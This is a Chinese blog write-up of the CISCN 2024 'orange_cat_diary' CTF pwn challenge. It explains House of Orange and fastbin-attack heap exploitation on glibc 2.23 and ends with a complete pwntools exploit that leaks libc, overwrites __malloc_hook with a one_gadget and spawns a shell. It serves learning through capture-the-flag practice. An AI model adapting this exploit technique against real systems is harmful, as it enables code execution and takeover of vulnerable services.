【PWN · House_Of_Orange | fastbin-attack】[CISCN 2024 初赛] orange_cat_diary

蒟蒻现做现学.。。说实话,house系列,之前都不敢下手,想着积淀积淀。没想到,嗯,还挺简单。

目录

前言

一、House-Of-Orange

二、简单的wp

三、EXP

总结 


前言

审计一下题目:经典菜单,edit,show,add,delete俱全

嗯,啧啧,delete还有个UAF太明显,爽爽unsortedbin-leak-libc!

——what!show只能一次,delete只能一次!!!救命。。。我该怎么做。


一、House-Of-Orange

虽然说house系列我不敢轻易上手学,但是各个手法的名字我还是听过的——本题的名字就叫做Orange_cat_diary,是不是一种暗示?

典型题目

Hitcon CTF 2016 - house of orange 做题笔记_hticon house of orange-CSDN博客

关于house of orange(unsorted bin attack &&FSOP)的学习总结 - ZikH26 - 博客园 (cnblogs.com)(2021安询杯,和本题高度相似)

适用范围

2.23——2.26

◆没有free

◆可以unsortedbin attack、

利用方式

stage1

◆申请chunk A,假设此时的top_chunksize0xWXYZ。

◆写A,溢出修改top_chunksize0xXYZ(需要满足页对齐的检测条件)。

◆申请一个大于0xXYZ大小的chunk,此时top_chunk会进行grow,并将原来的old top_chunk释放进入unsortedbin。

stage2

◆溢出写A,修改处于unsortedbin中的old top_chunk,修改其size0x61,其bk&_IO_list_all-0x10,同时伪造好IO_FILE结构。

◆申请非0x60大小的chunk的时候,首先触发unsortedbin attack,将_IO_list_all修改为main_arena+88,然后unsortedbin chunk会进入到smallbin,大小为0x60;接着遍历unsortedbin的时候触发了malloc_printerr,然后调用链为:malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp,调用到伪造的vtable里面的函数指针。

注意:可以在没有free的情况下leak libc!这正是我们所需要的 

二、简单的wp

Free后指针未清零,存在UAF漏洞,但是本题有几个限制

free和show只有一次机会。

基本思路是hook劫持,首先要泄露libc,受限于free只能free一次,于是用house_of_orange手法(题目名称也暗示了)leak libc。此时只用了一次show

然后用唯一的一次free机会,进行fastbin-attack;用uaf将bin里的fastbinchunk-next写fake-chunk到malloc_hook附近。

写malloc_hook劫持为one_gadget即可


orange_cat_diary利用链:

  1. show只有一次机会的限制:利用house_of_orange进行leak libc

  2. free只有一次机会的限制:利用uaf进行fastbin-attack

  3. 劫持fake-chunk到malloc_hook附近

  4. 劫持malloc_hook到one_gadget

  5. malloc触发malloc_hook


三、EXP

from pwn import *
context(arch='amd64',log_level='debug')

one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247] # 0xf03a4成功了
for onegadget in one_gadget:
    # io=process('./pwn')
    # gdb.attach(io);input()
    io=remote(ip,port)
    libc=ELF('./libc-2.23.so')

    def add(size,content):
        io.sendlineafter(b'choice:',b'1')
        io.sendlineafter(b'content:',str(size).encode())
        io.sendlineafter(b'content:',content)

    def edit(size,content):
        io.sendlineafter(b'choice:',b'4')
        io.sendlineafter(b'content:',str(size).encode())
        io.sendlineafter(b'content:\n',content)

    def show():
        io.sendlineafter(b'choice:',b'2')

    def delete():
        io.sendlineafter(b'choice:',b'3')

    io.sendline(b'name')
    io.recvuntil(b'stories.\n')
    add(0x18,b'aa')
    edit(0x20,p64(0)*3+p64(0xfe1))
    add(0x1000,b'')
    add(0x30,b'')
    # print(show())
    show()
    main_arena=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-1514
    success(hex(main_arena))
    malloc_hook=main_arena-0x10
    libc_base=main_arena-0x3c3b20-0x1000 #一开始本地的libc版本有点问题,正确的libc刚好还要偏0x1000
    success(hex(libc_base))
    fake_chunk=malloc_hook-0x23

    add(0x60,b'')
    delete()
    edit(0x60,p64(fake_chunk))
    add(0x60,b'')
    add(0x60,b'')

    '''
    0x45226 execve("/bin/sh", rsp+0x30, environ)
    constraints:
    rax == NULL

    0x4527a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL

    0xf03a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
    [rsp+0x50] == NULL

    0xf1247 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
    '''

    # payload=p64(0)+b'\x00\x00\x00'+p64(libc_base+onegadget)+p64(libc_base+libc.sym['realloc']) 一开始libc错了,还以为堆风水不好,,,(实际是libc基址都错了,也就有了上面的-0x1000)
    # edit(0x60,payload)
    edit(0x60,b'\x00'*0x13+p64(libc_base+onegadget))
    io.sendlineafter(b'choice:',b'1')
    io.sendlineafter(b'content:',b'sh')
    io.interactive()

总结

比较惊险,磨了半天,学习house of orange然后利用,居然真的过了。那一刻的高兴至今难忘。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值